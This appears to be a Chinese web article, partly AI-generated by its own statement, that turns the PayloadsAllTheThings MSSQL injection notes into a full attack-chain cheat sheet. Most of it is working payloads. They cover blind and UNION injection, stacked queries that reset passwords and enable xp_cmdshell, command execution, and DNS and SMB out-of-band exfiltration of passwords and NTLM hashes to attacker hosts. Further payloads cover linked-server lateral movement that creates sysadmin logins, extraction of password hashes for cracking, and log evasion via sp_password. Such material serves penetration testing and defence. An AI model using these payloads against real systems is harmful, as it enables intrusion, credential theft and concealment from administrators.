☰
MSSQL 注入实战全指南:从枚举、盲注到命令执行与域渗透(基于 PayloadsAllTheThings)
2026/9/30 1:54:49 网站建设 项目流程
  • 网络安全
  • 应用安全
  • 渗透测试

【免费下载链接】PayloadsAllTheThings

A list of useful payloads and bypass for Web Application Security and Pentest/CTF

项目地址:https://gitcode.com/GitHub_Trending/pa/PayloadsAllTheThings
点击查看免费下载

MSSQL 注入(Microsoft SQL Server Injection)是一类由于用户输入未经参数化或过滤、被直接拼接入 T-SQL 查询而导致的安全漏洞,攻击者可以借此执行任意 SQL 代码,造成未授权数据访问、数据篡改,甚至完全控制数据库服务器。本篇以仓库中的 SQL Injection/MSSQL Injection.md 为核心骨架,并结合 SQL Injection/README.md 与SQL Injection/Intruder/下的真实 FUZZ 词表,系统梳理一套从注入点确认、数据库枚举、联合/报错/盲注,到文件读写、xp_cmdshell命令执行、带外数据回传、可信链接横向移动直至权限提升与日志规避的完整攻击链路,让读者拿到一套可直接投入实战的 MSSQL 注入速查方案。

MSSQL 注入基础:默认数据库与注释语法

在深入攻击手法之前,先掌握 MSSQL 环境中的“固有资产”与注释风格,这是后续所有 Payload 的公共基础。

默认数据库

不同版本的 MSSQL 默认数据库略有差异,识别它们有助于快速判断实例版本与可用系统库:

名称说明
pubsMSSQL 2005 中不可用
model所有版本可用
msdb所有版本可用
tempdb所有版本可用
northwind所有版本可用
information_schemaMSSQL 2000 及以上可用

注释方式

类型说明
/* MSSQL Comment */C 风格块注释,常用于闭合被截断的 SQL 片段
--标准 SQL 行注释,是注入中“吃掉”查询尾部内容的主力
;%00空字节,某些场景下用于提前终止语句解析

DBMS 指纹识别

在确认注入点之后,第一步通常是确认后端数据库类型。仓库的 SQL Injection/README.md 给出了若干仅存在于 MSSQL 的“关键词探针”,它们返回恒真或恒假,可用来与 MySQL、Oracle、PostgreSQL 区分:

用途MSSQL 指纹 Payload
关键字指纹BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)
系统变量@@CONNECTIONS>0、@@CONNECTIONS=@@CONNECTIONS
系统变量@@CPU_BUSY=@@CPU_BUSY
系统函数USER_ID(1)=USER_ID(1)

一旦确认是 MSSQL,即可进入枚举阶段。

MSSQL 枚举:版本、库、表、列

枚举是注入攻击的“侦察阶段”。MSSQL 暴露了大量以@@开头的系统变量与系统函数,一条语句即可获得运行环境画像:

描述SQL 查询
DBMS 版本SELECT @@version
当前数据库名SELECT DB_NAME()
数据库架构SELECT SCHEMA_NAME()
主机名SELECT HOST_NAME()
主机名SELECT @@hostname
主机名SELECT @@SERVERNAME
产品版本SELECT SERVERPROPERTY('productversion')
产品级别SELECT SERVERPROPERTY('productlevel')
版本版本SELECT SERVERPROPERTY('edition')
当前用户SELECT CURRENT_USER
当前用户SELECT user_name();
当前用户SELECT system_user;
当前用户SELECT user;

其中SERVERPROPERTY系列可用于精确判断实例的版本号、补丁级别与版本类型(如 Standard/Enterprise),对后续挑选合适的利用手段(如OPENROWSET、xp_cmdshell是否可用)很有参考价值。

列出数据库

SELECT name FROM master..sysdatabases; SELECT name FROM master.sys.databases; -- for N = 0, 1, 2, … SELECT DB_NAME(N); -- 修改分隔符(如 ', ')可得到:master, tempdb, model, msdb -- (仅 MSSQL 2017+ 支持) SELECT STRING_AGG(name, ', ') FROM master..sysdatabases;

注意master..sysdatabases是旧式三段式引用(库.架构.对象,架构缺省),master.sys.databases是新式目录视图写法;DB_NAME(N)可配合数字索引遍历所有库。STRING_AGG是 MSSQL 2017+ 才有的聚合函数,可用于将结果压缩进单条报错或盲注输出。

列出表

-- xtype = 'U' 表示用户表,'V' 表示视图 SELECT name FROM master..sysobjects WHERE xtype = 'U'; SELECT name FROM <DBNAME>..sysobjects WHERE xtype='U' SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U'; -- 列出 master..sometable 的列名与类型 SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; SELECT table_catalog, table_name FROM information_schema.columns SELECT table_name FROM information_schema.tables WHERE table_catalog='<DBNAME>' -- 修改分隔符可得:trace_xe_action_map, trace_xe_event_map, spt_fallback_db, ... (仅 MSSQL 2017+) SELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U';

列出列

-- 仅当前数据库 SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable'); -- 列出 master..sometable 的列名与类型 SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; SELECT table_catalog, column_name FROM information_schema.columns SELECT COL_NAME(OBJECT_ID('<DBNAME>.<TABLE_NAME>'), <INDEX>)

COL_NAME(object_id, column_id)这种“按序号取列名”的写法特别适合盲注场景:在无法直接返回多行结果时,可以通过改变第二个参数的下标逐列爆破列名。

MSSQL Union 联合注入

当注入点位于SELECT语句且列数可探测时,UNION是最直接的数据回显手段。仓库文档以“Injection”库为例演示了完整流程:

  • 提取数据库名

    $ SELECT name FROM master..sysdatabases [*] Injection [*] msdb [*] tempdb
  • 从 Injection 库提取表名

    $ SELECT name FROM Injection..sysobjects WHERE xtype = 'U' [*] Profiles [*] Roles [*] Users
  • 提取 Users 表的列名

    $ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Users') [*] UserId [*] UserName
  • 最终提取数据

    SELECT UserId, UserName from Users

实战要点:UNION两侧的SELECT列数必须一致。仓库的 SQL Injection/Intruder/FUZZDB_MSSQL.txt 词表正是面向这一场景准备的,其中包含从 1 到多列的递增式探测:

' union (select @@version) -- ' union (select NULL, (select @@version)) -- ' union (select NULL, NULL, (select @@version)) -- ' union (select NULL, NULL, NULL, (select @@version)) -- ' union (select NULL, NULL, NULL, NULL, (select @@version)) -- ' union (select NULL, NULL, NULL, NULL, NULL, (select @@version)) --

用NULL占位逐步增加列数,直到与原始查询列数匹配,即可将@@version等数据回显到响应页面中。

MSSQL 报错注入

报错注入利用数据库类型转换失败时把“问题值”带进错误消息的行为来偷取数据。MSSQL 中常见于将子查询结果强制转换为INT或CONCAT进报错文本:

名称Payload
CONVERTAND 1337=CONVERT(INT,(SELECT '~'+(SELECT @@version)+'~')) -- -
INAND 1337 IN (SELECT ('~'+(SELECT @@version)+'~')) -- -
EQUALAND 1337=CONCAT('~',(SELECT @@version),'~') -- -
CASTCAST((SELECT @@version) AS INT)
  • 整数型输入

    convert(int,@@version) cast((SELECT @@version) as int)
  • 字符串型输入

    ' + convert(int,@@version) + ' ' + cast((SELECT @@version) as int) + '

'~'作为包裹符是为了在报错消息中清晰地标注出数据边界,方便肉眼定位。字符串型场景下,报错表达式需与周围语法拼接(闭合引号后用+串联),这也是与整数型场景最主要的差别。

MSSQL 盲注:布尔盲注与子串函数

当应用不回显查询结果、只返回“真/假”两种页面状态时,就进入布尔盲注。文档给出的经典写法:

AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- -

先猜长度、再逐字符比对,例如用LIKE做前缀匹配:

SELECT @@version WHERE @@version LIKE '%12.0.2000.8%' WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table) SELECT message FROM data WHERE row = 1 and message like 't%'

ROW_NUMBER() OVER (ORDER BY ...)用于在无法直接使用ORDER BY的场景下为结果行编号,从而用WHERE row = N精确取到第 N 行数据做逐行盲注。

子串函数等价写法

MSSQL 的字符串截取函数是SUBSTRING:

函数示例
SUBSTRINGSUBSTRING('foobar', <START>, <LENGTH>)

配合ASCII、UNICODE、ISNULL等函数即可实现逐字符推断:

AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97 AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64-- AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A' AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90

第 4 个例子展示了两个实用技巧:CAST(... AS varchar(8000))防止截断、ISNULL(...,0)处理NULL值避免盲注判断失效;配合>90、>64这类二分比较可以大幅压缩请求次数。

MSSQL 时间盲注:WAITFOR DELAY

时间盲注通过让数据库“睡”指定时长,用响应延迟作为真假判断信道,适合页面完全无回显、无状态差别的场景。核心原语是WAITFOR DELAY 'h:mm:ss'。仓库文档给出的通用模式:

IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';

针对不同括号/引号闭合形态的注入点,SQL Injection/Intruder/FUZZDB_MSSQL-WHERE_Time.txt 与 SQL Injection/Intruder/payloads-sql-blind-MSSQL-WHERE 提供了系统化的闭合变体(覆盖'、"、)、))、'))等组合):

waitfor delay '0:0:20' /* waitfor delay '0:0:20' -- ' waitfor delay '0:0:20' /* ' waitfor delay '0:0:20' -- ) waitfor delay '0:0:20' /* ) waitfor delay '0:0:20' -- )) waitfor delay '0:0:20' /* ')) waitfor delay '0:0:20' --

同样地,SQL Injection/Intruder/payloads-sql-blind-MSSQL-INSERT 针对 INSERT 类注入点准备了带,NULL列填充与 URL 编码(%20)的变体,可配合 Intruder 直接批量爆破闭合形态。文档还给出了经典的注入位测试序列:

ProductID=1;waitfor delay '0:0:10'-- ProductID=1);waitfor delay '0:0:10'-- ProductID=1';waitfor delay '0:0:10'-- ProductID=1');waitfor delay '0:0:10'-- ProductID=1));waitfor delay '0:0:10'--

MSSQL 堆叠查询(Stacked Query)

MSSQL 默认支持在同一批处理中执行多条语句,这让注入的杀伤力从“读数据”跃升为“改数据、建用户、调配置”。文档给出两种形态:

  • 无语句终结符的堆叠(利用隐式分隔):

    -- 多个 SELECT 语句 SELECT 'A'SELECT 'B'SELECT 'C' -- 用堆叠查询改密码 SELECT id, username, password FROM users WHERE username = 'admin'exec('update[users]set[password]=''a''')-- -- 用堆叠查询启用 xp_cmdshell(注意:拿不到查询输出,需要重定向到文件) SELECT id, username, password FROM users WHERE username = 'admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
  • 使用分号追加另一条查询:

    ProductID=1; DROP members--

需要特别强调的是:堆叠查询中exec(...)的执行结果不会回显,官方文档与仓库实践均提示“you won't have the output of the query, redirect it to a file”,即把命令输出重定向到文件后再通过其他手段读取。同时sp_configure的参数要用双单引号转义,reconfigure紧跟在每条配置之后生效。

MSSQL 文件读写

读取文件

利用OPENROWSET(BULK ...)可将服务端本地文件以单列大对象的形式读入查询:

权限要求:BULK选项需要ADMINISTER BULK OPERATIONS或ADMINISTER DATABASE BULK OPERATIONS权限。

OPENROWSET(BULK 'C:\path\to\file', SINGLE_CLOB)

结合 UNION 的回显示例(读取C:\Windows\win.ini):

-1 union select null,(select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)),null,null

这里R(x)是为OPENROWSET返回的列起别名,别名中的x即单列数据的引用名。

写入文件

借助扩展存储过程写入任意内容:

execute spWriteStringToFile 'contents', 'C:\path\to\', 'file'

该手法通常用于向 Web 根目录写入 webshell,前提是 SQL 服务账户对目标目录有写权限。

MSSQL 命令执行

xp_cmdshell

xp_cmdshell是 MSSQL 内置的扩展存储过程,允许在 T-SQL 中直接调用操作系统命令,是注入提权链上最关键的一环:

EXEC xp_cmdshell "net user"; EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'; EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';

注意xp_cmdshell自 SQL Server 2005 起默认禁用,需要先通过sp_configure重新启用:

-- 启用高级选项 EXEC sp_configure 'show advanced options',1; RECONFIGURE; -- 启用 xp_cmdshell EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;

启用后即可通过堆叠注入执行任意系统命令,典型的落地路径是:堆叠查询 →sp_configure开启xp_cmdshell→exec master..xp_cmdshell '...'→ 命令输出重定向到文件再读取。

Python 外部脚本(sp_execute_external_script)

当实例启用了机器学习服务(Machine Learning Services)且xp_cmdshell不可用时,sp_execute_external_script提供了另一条命令执行通道。一个容易被忽略的事实是:该脚本由与执行xp_cmdshell不同的账户运行,可用于横向对比服务账号权限:

EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())' EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))' EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'

__import__("os").system(...)直接执行系统命令,open(...).read()则可在不回显场景下读取如web.config这类敏感配置文件。

MSSQL 带外数据通道(Out of Band)

当目标无法回显、且外联可用时,带外(OOB)信道可以把数据“悄悄”送到攻击者控制的服务器。MSSQL 有两类典型手法。

DNS 外传

利用扩展函数读取本地跟踪文件/审核文件路径时,把子查询结果拼进 UNC 路径,从而触发一次携带数据的 DNS 查询。

  • 权限要求:VIEW SERVER STATE(使用fn_xe_file_target_read_file):

    1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.[ATTACKER.DOMAIN.TLD]\1.xem',null,null))
  • 权限要求:CONTROL SERVER(使用fn_get_audit_file/fn_trace_gettable):

    1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.[ATTACKER.DOMAIN.TLD]\',default,default))) 1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.[ATTACKER.DOMAIN.TLD]\1.trc',default))

%2b是+的 URL 编码,用于在查询字符串中拼接子查询结果与攻击者域名;被查密码会作为 DNS 主机名的一部分发往ATTACKER.DOMAIN.TLD,攻击者只需在权威 DNS 上配置通配符记录即可收集。

UNC 路径与 NTLM 哈希抓取

MSSQL 支持堆叠查询,因此可以构造指向攻击者 SMB 共享的 UNC 路径,触发服务器向共享发起认证并泄露 NTLMv2 哈希:

1'; use master; exec xp_dirtree '\\10.10.10.10\SHARE';--

除xp_dirtree外,还有一批“文件存在性”与备份/恢复类存储过程同样支持 UNC 路径,都可作为触发 SMB 回连的载体:

xp_dirtree '\\10.10.10.10\file' xp_fileexist '\\10.10.10.10\file' BACKUP LOG [TESTING] TO DISK = '\\10.10.10.10\file' BACKUP DATABASE [TESTING] TO DISK = '\\10.10.10.10\file' RESTORE LOG [TESTING] FROM DISK = '\\10.10.10.10\file' RESTORE DATABASE [TESTING] FROM DISK = '\\10.10.10.10\file' RESTORE HEADERONLY FROM DISK = '\\10.10.10.10\file' RESTORE FILELISTONLY FROM DISK = '\\10.10.10.10\file' RESTORE LABELONLY FROM DISK = '\\10.10.10.10\file' RESTORE REWINDONLY FROM DISK = '\\10.10.10.10\file' RESTORE VERIFYONLY FROM DISK = '\\10.10.10.10\file'

MSSQL 可信链接(Trusted Links)与横向移动

可信链接(linked server)是 MSSQL 实例间互相执行查询/远程过程的信任关系,允许一个实例像操作本地环境一样在远端服务器上执行查询。文档明确指出:数据库之间的链接甚至可以跨越林信任(forest trusts)工作,这使其成为内网横向移动的黄金通道。

  • 通过sysservers查找链接(每一行代表一个可访问的 OLE DB 数据源):

    select * from master..sysservers
  • 通过链接执行远程查询:

    select * from openquery("dcorp-sql1", 'select * from master..sysservers') select version from openquery("linkedserver", 'select @@version as version') -- 链式嵌套多个 openquery select version from openquery("link1",'select version from openquery("link2","select @@version as version")')
  • 通过链接执行系统命令:

    -- 在链接服务器上启用 xp_cmdshell 并执行 "dir" 命令 EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"') -- 在第二层链接服务器上创建 SQL 登录并授予 sysadmin EXECUTE('EXECUTE(''CREATE LOGIN User WITH PASSWORD = ''''Password123'''' '') AT "DOMAIN\SQL01"') AT "DOMAIN\SQL02" EXECUTE('EXECUTE(''sp_addsrvrolemember ''''User'''' , ''''sysadmin'''' '') AT "DOMAIN\SQL01"') AT "DOMAIN\SQL02"

注意多层嵌套时引号呈指数级转义(''''、''''''''),且EXECUTE(...) AT与openquery是两种不同的远程执行语法,前者用于执行语句、后者用于取回结果集。

MSSQL 权限枚举与提权

列出当前用户权限

fn_my_permissions是 MSSQL 自带的“当前用户有效权限”视图函数,可按不同粒度枚举:

  • 服务器级权限:

    SELECT * FROM fn_my_permissions(NULL, 'SERVER');
  • 数据库级权限:

    SELECT * FROM fn_my_permissions (NULL, 'DATABASE');
  • 对象级权限(以视图为例):

    SELECT * FROM fn_my_permissions('Sales.vIndividualCustomer', 'OBJECT') ORDER BY subentity_name, permission_name;
  • 检查当前用户是否为指定服务器角色成员:

    -- 可能角色: sysadmin, serveradmin, dbcreator, setupadmin, bulkadmin, securityadmin, diskadmin, public, processadmin SELECT is_srvrolemember('sysadmin');

is_srvrolemember返回 0/1,非常适合直接嵌入布尔盲注的条件表达式。

将当前用户提升为 DBA

如果当前连接用户具备sp_addsrvrolemember的执行权限(通常意味着已是高权限账户或存在配置缺陷),可以直接把自己加入sysadmin:

EXEC master.dbo.sp_addsrvrolemember 'User', 'sysadmin';

MSSQL 数据库凭据与哈希破解

MSSQL 不同版本存储登录哈希的视图与格式不同,仓库文档按版本给出了对应的 Hashcat 模式:

  • MSSQL 2000:Hashcat 模式 131,示例哈希0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578

    SELECT name, password FROM master..sysxlogins SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins -- 需要转换为 hex,才能在 MSSQL 报错消息/部分版本的查询分析器中回显哈希
  • MSSQL 2005:Hashcat 模式 132,示例哈希0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe

    SELECT name, password_hash FROM master.sys.sql_logins SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins

两版的差异要点:2000 用master..sysxlogins的password列,2005 起改用master.sys.sql_logins的password_hash列;提取时都要经过fn_varbintohexstr转成十六进制字符串才能被稳定回显/落盘,随后交给对应模式的 Hashcat 破解。

OPSEC:sp_password 日志规避

MSSQL 有一个反直觉的“后门”特性:当 T-SQL 批处理文本中出现sp_password关键字时,SQL Server 出于安全考虑会在错误日志/Profiler 跟踪中把整条语句替换为注释文本:

-- 'sp_password' was found in the text of this event. -- The text has been replaced with this comment for security reasons.

因此攻击者可以把sp_password拼进注入语句中,让 DBA 查看数据库跟踪日志时看到的是被脱敏的注释而非真实 Payload:

' AND 1=1--sp_password

这是文档明确记载的日志规避技巧,可作为红队作业中降低暴露面的一环,但注意它只影响日志可见性,不影响语句本身执行。

结语与速查索引

至此,一条完整的 MSSQL 注入链路已经闭环:指纹识别(@@CONNECTIONS/BINARY_CHECKSUM)→ 枚举(sysdatabases/sysobjects/syscolumns)→ 数据回显(UNION/报错)→ 无回显信道(布尔/时间/带外)→ 横向扩展(堆叠、文件读写、xp_cmdshell、外部脚本、UNC 抓哈希、可信链接)→ 提权与凭据收割(fn_my_permissions、sysxlogins/sql_logins)→ 日志规避(sp_password)。

需要更多弹药时,可在仓库的 SQL Injection/ 目录继续深挖:

  • SQL Injection/README.md:SQLi 通用方法论、入口点检测、WAF 绕过与各数据库横向对比;
  • SQL Injection/Intruder/FUZZDB_MSSQL.txt:UNION 列数探测与xp_cmdshell类堆叠 Payload 词表;
  • SQL Injection/Intruder/FUZZDB_MSSQL-WHERE_Time.txt、SQL Injection/Intruder/payloads-sql-blind-MSSQL-WHERE、SQL Injection/Intruder/payloads-sql-blind-MSSQL-INSERT:面向 WHERE/INSERT 注入点的waitfor delay闭合形态 FUZZ 词表;
  • SQL Injection/SQLmap.md:自动化注入工具的用法参考,适合在大规模目标上先行扫描再由手工 Payload 精细化利用。

最后提醒:上述全部技术仅应在获得授权的前提下用于渗透测试、CTF 与安全研究。MSSQL 注入的根因是拼接查询而非参数化查询,防御侧应优先落实参数化语句、最小权限账户、禁用不必要扩展存储过程并开启审计——攻击面地图与防御清单都可以在这份文档的镜像章节中找到依据。

  • 网络安全
  • 应用安全
  • 渗透测试

【免费下载链接】PayloadsAllTheThings

A list of useful payloads and bypass for Web Application Security and Pentest/CTF

项目地址:https://gitcode.com/GitHub_Trending/pa/PayloadsAllTheThings
点击查看免费下载

相关推荐

上一篇:如何使用phpredis实现分布式锁:基于SET NX与EX命令的终极指南
下一篇:拯救追更党:Yuedu阅读进度多平台云同步方案全解析

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询